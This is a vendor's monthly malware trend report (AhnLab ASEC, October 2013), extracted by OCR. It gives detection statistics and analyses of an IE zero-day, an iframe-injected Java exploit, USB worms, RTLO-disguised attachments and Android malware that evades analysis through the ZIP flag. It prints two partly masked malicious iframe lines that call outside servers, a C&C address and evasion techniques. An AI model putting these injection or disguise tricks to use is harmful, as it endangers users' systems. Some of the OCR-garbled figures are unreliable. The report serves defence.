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Malicious Code Trend

01.

Malicious Code Statistics

October, More New

Malicious Codes

Statistics collected by the ASEC show that 2,339,014 malicious codes were reported in October
2013. The number of reports decreased by 20,739 from the 2,359,753 reported in the previous
month. (See [Figure 1-1]) The most frequently reported malicious code was Win-Trojan/
Patched.kg, followed by Textimage/Autorun and Als/Bursted. Also, a total of 7 malicious codes

were newly added to the “Top 20 list. (See [Table 1-1].)

Figure 1-1 | Monthly Malicious Code Reports

10,000,000

2,339,014
5,000,000 v 0.88%

Table 1-1 | Top 20 Malicious Code Reports for October 2013

Ranking ™M Malicious Code Reports Percentage
1 A2 Win-Trojan/Patched.kg 366,486 37.5%
2 — Textimage/Autorun 96,344 9.9 %
3 A4 Als/Bursted 85,565 8.8%
4 NEW JS/Iframe 52,336 5.4 %
5 A1 RIPPER 43,121 4.6 %
6 NEW Trojan/Win32.clicker 40,816 4.2 %
7 v2 Win-Trojan/Wgames.Gen 36,415 3.7%
8 — Trojan/Win32.agent 31,972 3.3 %
9 NEW Win-Trojan/Agent.21734801 31,179 32%
10 v Win32/Autorun.worm.307200.F 27,264 2.8%
1" A1l ASD.PREVENTION 19,699 2.0%
12 NEW Trojan/Win32.ankore 19,621 2.0%
13 AL Trojan/Win32.Gen 19,034 1.9 %
14 NEW Trojan/Win32.onescan 17,322 1.8 %
15 vi Win-Trojan/Asd.variant 16,960 1.7 %
16 v5 Win-Trojan/Malpacked5.Gen 15,581 1.6 %
17 v2 Backdoor/Win32.plite 15,497 1.6 %
18 - Win32/Virut.f 14,746 1.5%
19 NEW Win32/Autorun.worm.Gen 13,270 1.4 %

20 NEW Js/bldr 13,168 1.3%

TOTAL 976,396 100.0 %
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Top 20 Malicious Code
Reports

[Table 1-2] below shows the percentage breakdown of the Top 20 malicious codes and variants
reported this month. Among those, Win-Trojan/Patchedwas the most frequently reported
malicious code (386,061 reports). It is followed by Trojan/Win32 (247,393 reports) and Win-
Trojan/Agent (133,541 reports).

Table 1-2 | Top 20 Malicious Code Variant Reports

Ranking N Malicious Code Reports Percentage
1 A3 Win-Trojan/Patched 386,061 25.5%
2 v Trojan/Win32 247,393 16.4 %
3 v1 Win-Trojan/Agent 133,541 8.8 %
4 v1 Textimage/Autorun 96,362 6.4 %
5 A8 Als/Bursted 85,565 5.7 %
6 v1 Win-Trojan/Onlinegamehack 60,369 4.0 %
7 NEW JS/Iframe 52,336 3.5%
8 — Win32/Conficker 50,654 3.3%
9 — Adware/Win32 48,145 3.2%
10 —_ Win32/Autorun.worm 47,530 3.1%
11 V4 Win-Trojan/Downloader 45,220 3.0%
12 — RIPPER 43,121 2.8%
13 v2 Win32/Virut 38,486 2.5%
14 — Win32/Kido 37,821 2.5%
15 v9 Win-Trojan/Wgames 36,415 2.4 %
16 v Backdoor/Win32 25,302 1.7 %
17 NEW Win-Trojan/Avkiller 21,960 1.5%
18 A1l ASD 19,699 1.3%
19 v2 Malware/Win32 19,270 1.3%
20 NEW Win-Trojan/Asd 16,960 1.1%

TOTAL 1,512,210 100.0 %

[Table 1-3] shows the percentage breakdown of the Top 20 new malicious codes reported in
October. Win-Trojan/Agent.21734801 was the most frequently reported new malicious code in
October, representing 63.2% (31,179 reports) of the Top 20 new malicious codes. It is followed
by Exploit/Cve-2013-3897 representing 12.2% (5,992 reports).

Table 1-3 | Top 20 New Malicious Code Reports in October

Ranking Malicious Code Reports Percentage
1 Win-Trojan/Agent.21734801 31,179 63.2%
2 Exploit/Cve-2013-3897 5,992 12.2%
3 Win-Trojan/Agent.605184.P 1,745 3.5%
4 Win-Trojan/Agent.2764288 1,542 3.1%
5 VBS/Houdini 1,307 2.6 %
6 Win-Trojan/Onlinegamehack.9689600 1,229 2.5%
7 Win-Trojan/Onlinegamehack.182860 1,210 2.5%
8 Win-Trojan/Onlinegamehack.210093 782 1.6 %
9 Win-Trojan/Urelas.305855 730 1.5%
10 Win-Adware/Korad.149351 509 1.0%
1" Win-Trojan/Agent.165849 502 1.0%
12 Win-Trojan/Agent.346898 477 1.0%
13 VBS/Dinihou 473 1.0%
14 Win-Trojan/Agent.45056.BPI 353 0.7 %
15 Win-Trojan/Banki.303817 335 0.7 %
16 Win-Trojan/Onlinegamehack.492021 307 0.6 %
17 Dropper/Dapato.663167 185 0.4%
18 Win-Trojan/Agent.909312.BN 179 0.4 %
19 Win-Trojan/Agent.27136.RI 147 0.3%
20 Win-Adware/Korad.904508 117 0.2%

TOTAL 49,300 100.0 %
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October Monthly Malicious
Code Report, ‘Trojan
Horse’ 55.3%

Comparison of Malicious
Codes with Previous Month

[Figure 1-2] categorizes the top malicious codes reported by AhnlLab customers in October
2013. Trojan was the most reported malicious code type, representing 56.2% of the top reported

malicious code types, followed by Worm (8.6%) and Script (7.5%).

Figure 1-2 | Primary Malicious Code Type Breakdown
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[Figure 1-3] shows the malicious code breakdown compared to the previous month. The
number of Trojans, Worms, Scripts, and Spyware increased, whereas the number of Viruses,
Adware, Exploits, Droppers, and Downloaders decreased. The number of Appcare was similar

to that of the previous month.

Figure 1-3 | Primary Malicious Code Type Breakdown for Sep. 2013 vs. Oct. 2013
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Breakdown of New

Malicious Code Types

Trojan Horse was the most frequently reported new malicious code type in October,

representing 83% of the new malicious code types, followed by Exploit (12%) and Script (4%).

Figure 1-4 | Breakdown of New Malicious Code Types
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Malicious Code Trend

02.

Malicious Code Issues

IE Vulnerability (MS13-080) Warning

Malicious code spread via an Internet Explorer (IE) security
vulnerability was reported, so users need to pay extra caution.
To protect against this malicious code, users should install the
October 2013 security patch (Microsoft Security Bulletin MS13-
080 - Critical) released by Microsoft (MS).

- http://technet.microsoft.com/ko-kr/security/bulletin/ms13-080

Before this security patch was released, a Zero-Day attack
using the above vulnerability was reported. |IE's Use-After-Free
vulnerability (CVE-2013-3897) was exploited, and the malicious

code was distributed using the following script.

Figure 1-5 | Script containing vulnerable code

This malicious code targets Korean and Japanese users of
Windows XP and IE 8.0.

If the encoded shellcode is executed by exploiting the
vulnerability, an additional malicious file is downloaded and

executed as shown in [Figure 1-6].

Figure 1-6 | String in the shellcode

Furthermore, the antivirus software of the infected system is

prevented from functioning properly as shown in [Figure 1-71.

Figure 1-7 | String in the shell code related to antivirus software

The malicious code [fird.gif) uses the same server to download
an additional malicious file (firw.gif] as shown below, causing
the user’s system to be infected with an online game hacking

malware.

Figure 1-8 | Additional file download

To prevent being infected by this malicious code, users should
immediately install the MS security patch. Furthermore, to protect
systems and assets from potential security threats, security

updates for the OS and major applications should be installed.

V3 can detect this malware as follows.
<Malware name in V3 products>
-Exploit/Cve-2013-3897
-Trojan/Win32.0nlineGameHack
-Dropper/Win32.Injector

Backdoor Malicious Code Distributed Through
Online Storage Website

Recently, a backdoor malicious code distributed through an
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online storage website frequently used by Internet users was
reported, so users need to exercise caution. The malicious code
is distributed by using a JAVA vulnerability. To prevent being
infected by this malicious code, users must install the most

recent security patch.

The malicious code that was distributed by this website was
also reported by other online storage companies. The attacker
is believed to have targeted online storage websites that have a

large amount of user traffic.

When a user visits the infected site, the malicious script that is
inserted in the webpage is called and the user is infected by the

malicious code through the vulnerability.

Figure 1-10 | Malicious script inserted in the web page

When the script inserted in the web page is decoded, the

following iframe can be found.

<iframe height=1 width=100 Src=http://222.***.2.57/adx/ad.html></iframe>
<iframe height=1 width=100 Src=http://222.**.190.22/img/ad.html></iframe>

The code inside the web page is obfuscated with the Gongda
Pack toolkit.

Figure 1-11 | Malicious HTML file

The de-obfuscated script reveals the file that exploits the Java

vulnerability and the URL used to distribute the malicious code.

Figure 1-12 | De-obfuscation

The svchsot.exe malicious code is created in the path shown

in [Figure 1-13] and is registered in the start registry to run

automatically at system boot.

Figure 1-13 | Malicious code created by exploiting the vulnerability

The malicious code is registered as a schedule job to be
automatically executed every hour. It might attempt to connect
to a specific server, but this was not confirmed at the time of

analysis.

V3 detects the malicious code as shown below.
<Malware name in V3 products>
-Trojan/JAVA.CVE-2012-1723

-JS/Exploit (2013.10.21.03)
-Backdoor/Win32.Agent (2013.10.20.04)

Repeat Infections by Malicious Code in USB

The autorun.inf file is located in the root folder of removable
devices like USBs and external disks. This file is used to execute
the connected device for greater convenience when using an
external device. [Figure 1-15] shows the root folder of a USB
infected by the recently reported malicious code. It shows the
‘Trashes’ folder, shortcuts, and a file with random letters, but

what is unusual is that the autorun.inf file is not shown.

Figure 1-15 | Normal files and folders set to hidden

When a USB is connected to an infected PC, the files shown in
[Figure 1-15] are created, indicating infection by the malicious code.
Furthermore, the properties of the shortcuts (.Trashes, Test) are

set to execute the malicious file as shown in [Figure 1-16].
The malicious code creates files in the following paths.

[Created file paths]
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Figure 1-16 | Shortcuts set to execute the malicious code

C:\WINDOWS\system32\infisvchost.exe

C:\Documents and Settings\Administrator\Application Data\temp.bin
C:\Documents and Settings\Administrator\Application Data\
ScreenSaverPro.scr

C:\Documents and Settings\Administrator\Application Data\
Microsoft\Bxiuiv.exe

USB External Device\1760f7df.pif

USB External Device\eNLDAunjSbegmne.exe

Upon malware infection, the registry is modified as shown in
[Figure 1-17] and the malicious files are registered in services

and start programs.

Figure 1-17 | Registry is modified to register the files in services
and start programs

The malicious code is injected into the mspaint.exe process and is

executed. It attempts to make a connection to the following path.

[Connected network information]

27% 2% % *%0:80 (ap*.wi*****a.com)

This malicious code must be removed from the infected PC and
USB at the same time. Otherwise, repeat infections will continue
to occur. If all folders are set to hidden when the malicious code is
removed, follow the procedures below.
1. Select all files and folders in the root folder; then right click
and select properties.
2. Uncheck the [Hidden(H)] option found above the [Confirm]
button.
3. Click on the [Confirm] button. On the screen that appears,
select [Apply to current folder, subfolders and files].

4. Check that the hidden property has been disabled.

To prevent infection by the malicious code, users are advised to

exercise the following precautions.
1. Use the [Disable autorun in CD/USB drive] function provided
by V3. [Preferences] - [Advanced Settings] - Check [Disable
autorun in CD/USB drive]
2. Use the [Automatically scan USB drive] function provided by
V3. [Preferences] - [Advanced Settings] - Check [Automatically
scan USB drive]
3. Update V3 engine to the latest version and turn on real-time
monitoring.
4. Install the latest Windows Security Updates and the most

recent version of each program.

V3 detects the malicious code as shown below.
<Malware name in V3 products>
-Trojan/Win32.Downloader (2013.10.30.02)
-Win-Trojan/Pcclient.1538560 (2013.02.21.00)
-LNK/Autorun (2013.10.26.00)

Resume Attachment Sent to Ordinary Users

Recently, spam with a resume attachment is being distributed to
not only human resources personnel in companies but also users

of webmail services on portal websites.

[Figure 1-18] below details the recently reported spam with a
resume attachment. The email is written in English and the
attachment icon appears as an MS Word document, but the actual
extension is that of an .exe executable file. Furthermore, the icon
is different from a real Word document (MS Office 2007) and does

not look as smooth.

Malicious file Actual Word file

Figure 1-18 | Spam containing resume attachment (malicious file)

However, in recently reported cases, the resume attachment uses
the .docx extension and appears to be a normal document, so
users can be easily tricked into executing the file. In addition, the
email and attachments are all written in Korean, so Korean users

should pay extra caution.

The user who submitted the recent report said, “During the
employment preparation season, | submitted my resume to a job
website, so | opened the file thinking that a resume email was

sent by mistake.”
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If the user checks the attached file shown in [Figure 1-19], the
extension appears to be .docx, but if the property is inspected, it is
revealed to be an application program [.exe). The icon is also the
same as an actual document file to prevent the user from easily

recognizing it as a program.

Figure 1-19 | Malicious file with .docx (MS Word) extension

The executable file has a .docx extension due to Unicode
Character 'RIGHT-TO-LEFT OVERRIDE' (U+202E). This is a
Unicode charset expression method. Normally the letters are
written from left to right, but if the above expression method
is used then the letters are written in the opposite direction.
Therefore, if this expression method if used after inputting "xcod.
exe’, then the file name becomes ‘exe.docx’. If the console is
checked as shown in [Figure 1-20], then the original file name can

be seen without applying the charset expression.

Figure 1-20 | Extension alteration using U+202E(RTLO) Unicode
(console view)

The following malicious file is created when the system is infected

by the malicious code attached to the email.

10

In addition, the newly created 'Server.exe’ malicious file
periodically sends TCP SYN to a specific C&C server, which can

result in additional security threats.

Figure 1-21 | Network connection by Server.exe(malicious file)

Recently, an increasing number of cases show that the
vulnerabilities of document programs are being targeted.
Documents attached to emails whose origins are uncertain
should not be opened carelessly, and the latest security patches

should be installed for programs that have vulnerabilities.

V3 detects the malicious code as shown below.
<Malware name in V3 products>
-Trojan/Win32.Zbot (2013.10.27.00)
-Dropper/Agent.833021 (2013.10.30.00)
-Win-Trojan/Agent.794515 (2013.10.30.00)

Malicious Code Using Screen Saver Extension (.scr)

Recently, malicious spam with a title such as ‘'new_purchase_
order_14_Oct_2013"is being distributed among many companies,
so users should exercise caution. The malicious spam has an
attachment with the filename'PurchaseOrder10ctober2013.
scr', using the .scr extension for screen savers. If the .scr file is
double-clicked, it is executed like a .exe executable file, causing

the system to be infected by the malicious code.

The contents of the spam email is as follows.

Subject: new_purchase_order_14_0ct_2013
Please refer to the appendix to accept our new POs 2082330 & 2082331 for Nov/Dec

shipment. Please accept our prices in the lists, and note, Our requested shipping date

is 1st week of Dec/2013. Pls confirm, thank you. Awaiting your order confirmation

yours sincerely,

[File creation]

CREATE C:\DOCUME~T\ADMINI~1\LOCALS~1\Temp\RarSFX0\ccxjepib9aj53nna.exe
CREATE C:\DOCUME~T\ADMINI~T1\LOCALS~1\Temp\RarSFX0\resume.docx
CREATE C:\WINDOWS\InstallDir\Server.exe

Aside from the PE file shown above, a resume Word document
which appears to be a normal file can be created in %temp% or

another folder.

Figure 1-22 | Contents of the malicious spam

The attached malicious file uses a document icon as shown in
[Figure 1-23] to trick the user into thinking it is a document, but it

is actually a .scr executable file.

Figure 1-23 | Malicious attachment disguised with a document icon
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When the above malicious code is executed, it performs the

following actions.

1. Executes iexplore.exe and notepad.exe
2. Thread injection in notepad.exe to perform malicious action
- Creates a duplicate of itself disguised as Office in the following path
C:\Documents and Settings\Administrator\Application Data\office 12\office.exe
- Registers itself in the Run registry for automatic execution
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\{KL7890-
I0P1223M0-P0022-MNUEYU}
“C:\Documents and Settings\Administrator\Application Data\office 12\office.exe"
3. Thread injection in iexplore.exe for periodic communication with the following
server not currently accessible)
192.200.156.203:1982

The server could not be accessed at the time of analysis, so the
malicious actions could not be verified. However, if the server,
presumably a C&C server, is restored, the malicious actions
can be resumed at any time, so users should adopt a habit of

removing malicious files as soon as they are discovered.

This malicious code can be found and repaired with a V3 product.
<Malware name in V3 products>

-Trojan/Win32.Zbot (AhnLab, 2013.10.15.00)

"
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Malicious Code Trend

03.
Mobile Malicious
Code Issues

Malicious Application Installs Mobile Messenger
Phishing Application

A recently reported malicious application causes users to install
a phishing application which removes and impersonates a well-
known mobile messenger application. As shown in [Figure 1-24],
the malicious application which leads users to install the phishing
application has an icon similar to the 'Play Store" icon of a normal

application, but the application name does not appear.

Figure 1-24 | Malicious application icon

When the malicious application is executed, the application icon
is deleted, and the mobile device manager activation screen is
displayed as well. If the user touches the "Activate’ button, the
malicious application is registered as a service and executed.
Then BroadcastReceiver is executed to monitor activities on
the device. When the device is rebooted, the following message
appears to notify the user of an update to a well-known mobile

messenger application.

If the user proceeds with the update, the normal messenger
application is removed and a malicious application is installed.
The newly installed malicious application is difficult to tell apart

from a normal application by looking at the icon.

When the malicious application is executed, it requests the user’s
personal information. After the personal information is entered,
a message is displayed stating that the update was successfully
completed. If the ‘Finish’ button is pressed, the application is

terminated. If the application is executed again, a message

12

appears stating that a system check is in progress and the
application terminates. The malicious application requests the

user to activate the device manager.

This malicious code can be detected and repaired with V3 Mobile

products.

<Malware name in V3 Mobile>
-Android-Dropper/Bankun.B46E90 (2013.10.23.02)
-Android-Trojan/Bankun.B46E91 (2013.10.23.02)

Malicious Code for Encrypted Android

A malicious code was reported which infects encrypted Android
phones via smishing. Normally, this malicious code should not
be able to be installed on a smartphone, but it was installed

normally.

The application that runs on the Android phone has the APK
(Android application package) extension. APK uses the same file
compression format as the widely used ZIP format. Therefore, a
general file compression program can be used to open the APK

file and view its contents as shown in [Figure 1-28].

Figure 1-28 | APK file opened using a general file compression
program

Using normal ZIP compression, a compressed file can be created
which requires the user to enter a password using an encryption

method for file extraction as shown in [Figure 1-29].

Figure 1-29 | Encrypted compression using a password

An encrypted ZIP file created in this way requires the same
password to be used which was entered when the compressed

file was created.
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Figure 1-30 | Password required for file extraction

The malicious code that was recently reported uses the encrypted
ZIP format and requires the user to enter a password for file
extraction as shown in [Figure 1-31]. If the password is not

entered, the files cannot be extracted normally.

Figure 1-31 | Password required to view the contents of the
malicious code

However, the application can be installed without entering a

password on smartphones that use an Android operating system.

The ZIP file has a separate header for each compressed file. If
a header value has a General purpose bit flag value set to 1, the
file is recognized as being encrypted, and the password must be

verified for file extraction to occur.

In the case of a normally encrypted ZIP file, the following
structure ([Figure 1-33]) is additionally created and referenced in

order to perform password verification and file extraction.

Figure 1-33 | Structure used for encrypted ZIP file extraction

Therefore, encrypted ZIP file extraction requires at least an

additional 26 bytes of data. However, in the recently reported

13

malicious code, the value of the general purpose bit flag is set to 1,
but the size of the extra field for file extraction is 4. Therefore, the

necessary data required for file extraction does not exist.

Figure 1-34 | Malicious code header in encrypted ZIP format

The actual compressed data was compressed using the deflate
method, a standard ZIP compression method, and the general
purpose bit flag was modified so that the contents of the APK file

could not be verified using a file compression program.

The application installation manager on an Android operating
system does not recognize encrypted ZIP files and ignores the
general purpose bit flag, so the data compressed with the deflate

method is extracted and installed normally.

In general, malicious code has a greater chance of achieving its
purpose if detection by security software is delayed. We believe
the malicious code uses the encrypted ZIP file format in order to
avoid or delay analysis by security company analysts and analysis
systems, thereby causing detection of the malicious code to be

delayed.

Malicious code that is installed in this way can steal and transmit
the information and address list in the user's smartphone and
steal the incoming call and message (SMS) history. In addition, it
can remove an existing banking application and cause the user to

reinstall it using the malicious code of the attacker’s choice.

Figure 1-35 | Code that leads the user to install malicious code

This malicious code can be detected and repaired with V3 Mobile
products.
<Malware name in V3 Mobile>

-Android-Trojan/Chest

Smishing Disguised as Government Agencies
and Companies

Malicious applications are continuously being reported which

target smartphone users to make a profit and steal personal
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information and online banking information.

The attackers use intelligent methods to trick the user into
installing malicious applications, and one of these methods is to
send a message with a stolen phone number from a well-known

and reliable company or government agency.

They steal representative phone numbers of well-known
companies and government agencies because these have a high
probability of being registered as previously received messages in
users’ smartphones. So, users may easily mistake the attacker's
message as coming from the company or agency and have a

higher chance of installing the malicious application.

In order to minimize the damage caused by smishing, users

should keep the following points in mind.

1) Be cautious of opening URLs in SNS (Social Networking
Service) and text messages

2) Inspect applications with mobile antivirus products before
installing them

3) Set preferences to prohibit messages from ‘unknown sender
(source)’

4) Install antivirus products that detect smishing

14
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Security Trend

01.
Security Statistics

Microsoft Security Microsoft issued a total of 8 security updates (4 critical, 4 important) in October 2013.
Updates- October 2013 Cumulative Security Update for Internet Explorer includes patches for multiple vulnerabilities.

For safe use of the Internet, it is necessary to install these patches.

o — SYSTEM
—
6 — OFFICE
5 SERVER
4
3
2
0
11 12 01 02 03 04 05 06 07 08 09 10

Figure 2-1 | MS Security Updates for each attack target

MS13-080 Internet Explorer Cumulative Security Update

MS13-081  Vulnerability in Windows Kernel mode driver could allow remote code execution

MS13-082 Vulnerability in .NET Framework could allow remote code execution

MS13-083  Vulnerability in Windows common control library could allow remote code execution

MS13-084  Vulnerability in Microsoft SharePoint Server could allow remote code execution

MS13-085 Vulnerability in Microsoft Excel could allow remote code execution

MS13-086 Vulnerability in Microsoft Word could allow remote code execution

MS13-087 Vulnerability in Silverlight could allow information disclosure

Table 2-1 | MS Security Updates for October 2013
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Security Trend

02.
Security Issues

An Iron That Distributes Spam

On October 29, Russian state TV program ‘Rossiya 24" announced
that some irons imported from China contained devices which
use Wi-Fi networks to distribute spam, and further imports were
halted after this discovery. Some import shipment were inspected
due to a slight weight difference which led to the discovery of
a chip with an attached Wi-Fi module. This chip is designed to
target a public AP (which is not password protected) within 200

meters and deliver spam and malicious code.

http://www.bbc.co.uk/news/blogs-news-from-

elsewhere-24707337

Source :

Broadcast video: http://www.youtube.com/watch?feature=player_

embedded&v=hkigenPy8zY

Figure 2-2 | Wi-Fi module attached to an iron (Source : Rossiya 24)

mobile messenger WhatsApp, web analysis company Alexa,
porn website RedTube, and web hosting service LeaseWeb were
hacked. On the six websites that were hacked, the main page
carried a statement from the Palestinian hacker group KDMS-
Team claiming responsibility for the attack and a message stating
that the land of Palestine was stolen from them. Avira announced
that their homepage was not hacked, but rather the DNS records
of the domain registration service Network Solutions was
modified and hijacked. In order to change the DNS records, the
attackers reset Avira's DNS account password to gain control of
the account. However, there has been no report explaining how
the hacker group managed to obtain the passwords for these six

websites.

Figure 2-4 | Hijacked Avira homepage

Figure 2-3 | News regarding the incident posted on PHP.net

Websites Hacked by DNS Hijacking

On October 8, the websites for security companies AVG and Avira,

Number of Adobe Hacking Victims Rises to
38 Million

According to initial reports on the Adobe hacking incident which
occurred in September, information for 2,900,000 accounts had
been compromised, but on October 29 this number increased
to 38,000,000. However, on November 6 an individual named
‘Jeremy Gosney' posted on a forum claiming that 130 million

user accounts had been compromised and some of the account
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passwords had already been decoded. Certain information
about the Adobe accounts was publically disclosed, leading to
concerns about additional damage. The encrypted credit card
information for some user accounts were also compromised, but
the attackers’ motives and whether they were able to decrypt the

information is still unclear today.

Figure 2-5 | Adobe user account information disclosed on a forum
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Web Security Trend

01.

Web Security Statistics

Website malicious code
trends

Monthly Change
in Malicious Code

Detections

This month, SiteGuard (AhnlLab's web browser security service) blocked 4,228 websites that
distributed malicious codes. 179 types of malicious codes, 121 domains with malicious codes,
and 432 URLs with malicious codes were found. Compared to the previous month, the number
of malicious code reports increased, but the number of malicious code types, domains with

malicious codes and URLs with malicious codes decreased.

Table 3-1 | Website security trends for October 2013

Reported malicious codes I october
4 0

Reported types of Domains with URLs with
malicious code malicious code malicious code

179 121 432

As of October 2013, the number of malicious code reports increased to 4,228, a 5.3% increase

from the 4,015 reported in the previous month.

Figure 3-1 | Monthly Change in Malicious Code Detections
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Monthly Change in the The number of reported types of malicious code decreased 6.3% from 191 reported in the

Number of Reported previous month to 179.

Malicious Code Types Figure 3-2 | Monthly Change in the Number of Reported Malicious Code Types

500
10
0
Monthly Change The number of reported domains with malicious code decreased 20.9% to 121, from 153 repor
in Domains with ted in the previous month.

Malicious Codes Figure 3-3 | Monthly Change in Domains with Malicious Codes

300
200 121
¥ 20.9%
100 -
10
0
Monthly Change in 432 URLs with malicious code were reported, a 7.3% decrease from 466 reported in the previ
URLSs with Malicious ous month.
Codes Figure 3-4 | Monthly Change in URLs with Malicious Codes
1,000
750 432
v 7.3%
500 S
250
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Top Distributed Types
of Malicious Code

Top 10 Distributed
Malicious Codes

20

Trojans were the top distributed type of malicious code with 2,321 (54.9%) cases, followed by

Adware with 844 (20.0%) cases and Spyware with 164 (3.9%) cases reported.

Type Report Percentage
TROJAN 2,321 54.9 %
ADWARE 844 20.0 %
SPYWARE 164 3.9%
DOWNLOADER 51 1.2%
DROPPER 40 1.0%
Win32/VIRUT 13 0.3 %
APPCARE 2 0%
JOKE 1 0%
ETC 792 18.7 %
4,228 100.0 %
Table 3-2 | Top Distributed Types of Malicious Code
2,500 2,321
1,250
0
& &é}% Q\Q& @Q} QQ%Q\ <\<§ @Vé@ 30% <
A v £ @%& & & &
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Figure 3-5 | Top Distributed Types of Malicious Codes

Trojan/Win32.0nescan was the most distributed malicious code with 967 (35.4%) cases, and 6

malicious codes, including Adware/Win32.InstallBrain, newly emerged in the Top 10 list.

Ranking ™M Malicious Code Reports Percentage
1 A1l Trojan/Win32.0nescan 967 35.4%
2 A2 ALS/Bursted 345 12.6 %
3 NEW Adware/Win32.InstallBrain 323 11.8 %
4 NEW Adware/Win32.DelBar 255 9.3%
5 NEW Trojan/Win32.Gen 194 7.1 %
6 v5 Spyware/Win32.Gajai 162 5.9 %
7 NEW Win-Trojan/Downloader.12800.LU 150 5.5%
8 vi Win32/Induc 122 4.5 %
9 NEW Trojan/Win32.KorAd 113 4.1 %
10 NEW Trojan/Win32.ADH 104 3.8%

TOTAL 2,735 100.0 %

Table 3-3 | Top 10 Distributed Malicious Codes
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